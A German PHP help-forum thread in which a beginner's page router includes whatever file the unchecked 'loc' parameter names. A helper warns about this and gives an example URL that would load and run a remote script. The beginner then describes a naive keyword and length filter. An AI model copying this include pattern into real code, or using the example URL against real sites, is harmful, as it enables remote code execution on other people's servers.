[erledigt:] index.php will nicht

Hallo,
ich dachte ich könnte mir ein System aufbauen, Das sollte so Funktionieren:
index.php ist die Frontpage
mit GET sollte man die Seiten Aufrufen (z.B. bcg.bplaced.net/?loc=home) …
wenns geht hab ich gedacht, lege ich das verzeichnis so, dass ?loc, schon im URL ist…
den Headbereich, und das Design soll mit Include eingebunden werden
Ich hab das so geproggt, dass mit GET[“loc”] also mit z.B dem link bcg.bplaced.net/?loc=home die Seite Home aufgerufen wird, nun kam eine schön kleine Fehlermeldung:

[quote]Warning: include() [function.include]: URL file-access is disabled in the server configuration in /users/bcg/www/index.php on line 15

Warning: include(bcg.bplaced.net/scripts/headstyle.inc) [function.include]: failed to open stream: no suitable wrapper could be found in /users/bcg/www/index.php on line 15

Warning: include() [function.include]: Failed opening ‘http://bcg.bplaced.net/scripts/headstyle.inc’ for inclusion (include_path=’.:’) in /users/bcg/www/index.php on line 15

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /users/bcg/www/index.php on line 18

Warning: include(bcg.bplaced.net/scripts/top.inc) [function.include]: failed to open stream: no suitable wrapper could be found in /users/bcg/www/index.php on line 18

Warning: include() [function.include]: Failed opening ‘http://bcg.bplaced.net/scripts/top.inc’ for inclusion (include_path=’.:’) in /users/bcg/www/index.php on line 18

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /users/bcg/www/index.php on line 22

Warning: include(bcg.bplaced.net/pages/.php) [function.include]: failed to open stream: no suitable wrapper could be found in /users/bcg/www/index.php on line 22

Warning: include() [function.include]: Failed opening ‘http://bcg.bplaced.net/pages/.php’ for inclusion (include_path=’.:’) in /users/bcg/www/index.php on line 22

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /users/bcg/www/index.php on line 23

Warning: include(bcg.bplaced.net/scripts/bottom.inc) [function.include]: failed to open stream: no suitable wrapper could be found in /users/bcg/www/index.php on line 23

Warning: include() [function.include]: Failed opening ‘http://bcg.bplaced.net/scripts/bottom.inc’ for inclusion (include_path=’.:’) in /users/bcg/www/index.php on line 23
[/quote]

Weiss jemand, was ich falsch gemacht habe??

mfg, bcg

Das sagt’s doch schon, du kannst mit include nur lokale Dateien einbinden.

Das ist, ehrlich gesagt, Bullshit. :smiley:
Wenn du “http://irgendwas” öffnest, dann wird ein HTTP-Request abgesetzt, in dem Fall auf deinen eigenen Webspace. Das ist mindestens 20mal langsamer als ein normaler include. Da das hier auf bplaced (noch) nicht geht, kommen außerdem diese Warnungen.
Lokale Dateien werden relativ zum aktuellen Verzeichnis eingebunden:

achsooo
danke, ich werds mal versuchen…
mfg

edit: soo dankeee, es hat fast funktioniert, jetzt sind noch 2 fehler übrig

[quote]Warning: include(.php) [function.include]: failed to open stream: No such file or directory in /users/bcg/www/index.php on line 21

Warning: include() [function.include]: Failed opening ‘.php’ for inclusion (include_path=’.:’) in /users/bcg/www/index.php on line 21
[/quote]
das kommt auf dem Link bcg.bplaced.net/?loc=home

mfg

Poste bitte mal den exakten Code deiner index.php.

[quote]

<?php $loc = $_GET["loc"]; if($loc = "") { $loc = "home"; } $title = ""; $title .= $loc; $title .= " - BCG"; echo("$title"); include 'headstyle.inc'; echo("\n"); echo(""); include 'top.inc'; $in = $loc; $in .= ".php"; include $in; include 'bottom.inc'; echo("
"); ?> [/quote]

if($loc = "") { $loc = "home"; }
Ein berüchtigter Fehler. Ein Istgleich-Zeichen bedeutet Zuweisen, d.h. $loc wird auf “” gesetzt.

Deswegen wird auch der If-Zweig nie ausgeführt. Ersetze das bitte mit

Außerdem würde ich dir raten, dieses Script nicht unverändert einzusetzen. Mit diesem Script könnte ich jede Datei auf deinem Webspace einbinden, und sobald allow_url_fopen erlaubt wird, sogar beliebigen Code ausführen.

ouuuups, gerade der . . .
naja danke,…

und, kennst du zufälligerweise, einefunktion, mit der man eine Variable auf den Inhalt, oder die Länge prüefen kann?

mfg, bcg

Was meinst du mit Inhalt?

Für die Länge gibt’s:
[ul]

  • [url=http://php.net/function.strlen]strlen/url für Strings
  • [url=http://php.net/function.count]count/url für Arrays
    [/ul]

danke,

mit inhalt meinte ich, wenn man jetzt in einer variable den wert ‘XyZ0445’ speichern würde, dass man dann überprüfen kann ob ‘45’ drin enthalten ist, in diesem falle jetzt ja, und dann kann man sagen,was passieren soll, oder was auch nicht…

mfg

$string = 'XyZ0445';
if (strpos($string, '45') !== false) {
    // $string enthält "45"
}

cool, danke

Wie lange kanst du eigentlich schon PHP?

dankedankedanke
mfg, bcg

Bitte sehr. :slight_smile:

Hm… kommt drauf an, was du mit können meinst, perfekt bin ich auch nicht darin. Vor ca. 2 Jahren habe ich mit PHP angefangen. :wink:

oh, das ist ein bisschen länger als ich (ca. 1,5 monate)…
und eigentlich wie war das mit ‘jeden Befehl ausführen’ gemeint?
mfg

Du bindest eine vom User gegebene Seite ohne weitere Checks ein. Das heißt, ich könnte
bcg.bplaced.net/?loc=http://scra … net/script
aufrufen. Das würde ein Script meiner Wahl einbinden und ausführen.

Aber: Vorläufig ist das egal, denn hier ist mod_security installiert. D.h., verdächtig aussehende Parameter werden automatisch gefiltert. Quasi eine Kindersicherung. ^^

achso ok,
die Sicherung gegen ‘http’, ‘www’, ‘;’, ‘(’, etc.
hab ich mal selber eingebunden
bcg.bplaced.net/?loc=http://bla
und gegen mehr als 9 zeichen, was bei einem Link schnell mal der fall ist, hab ich auch schon eingebaut
Danke für den Hinweis
mfg

edit: so, dass man dann automatisch wieder auf home kommt
mfg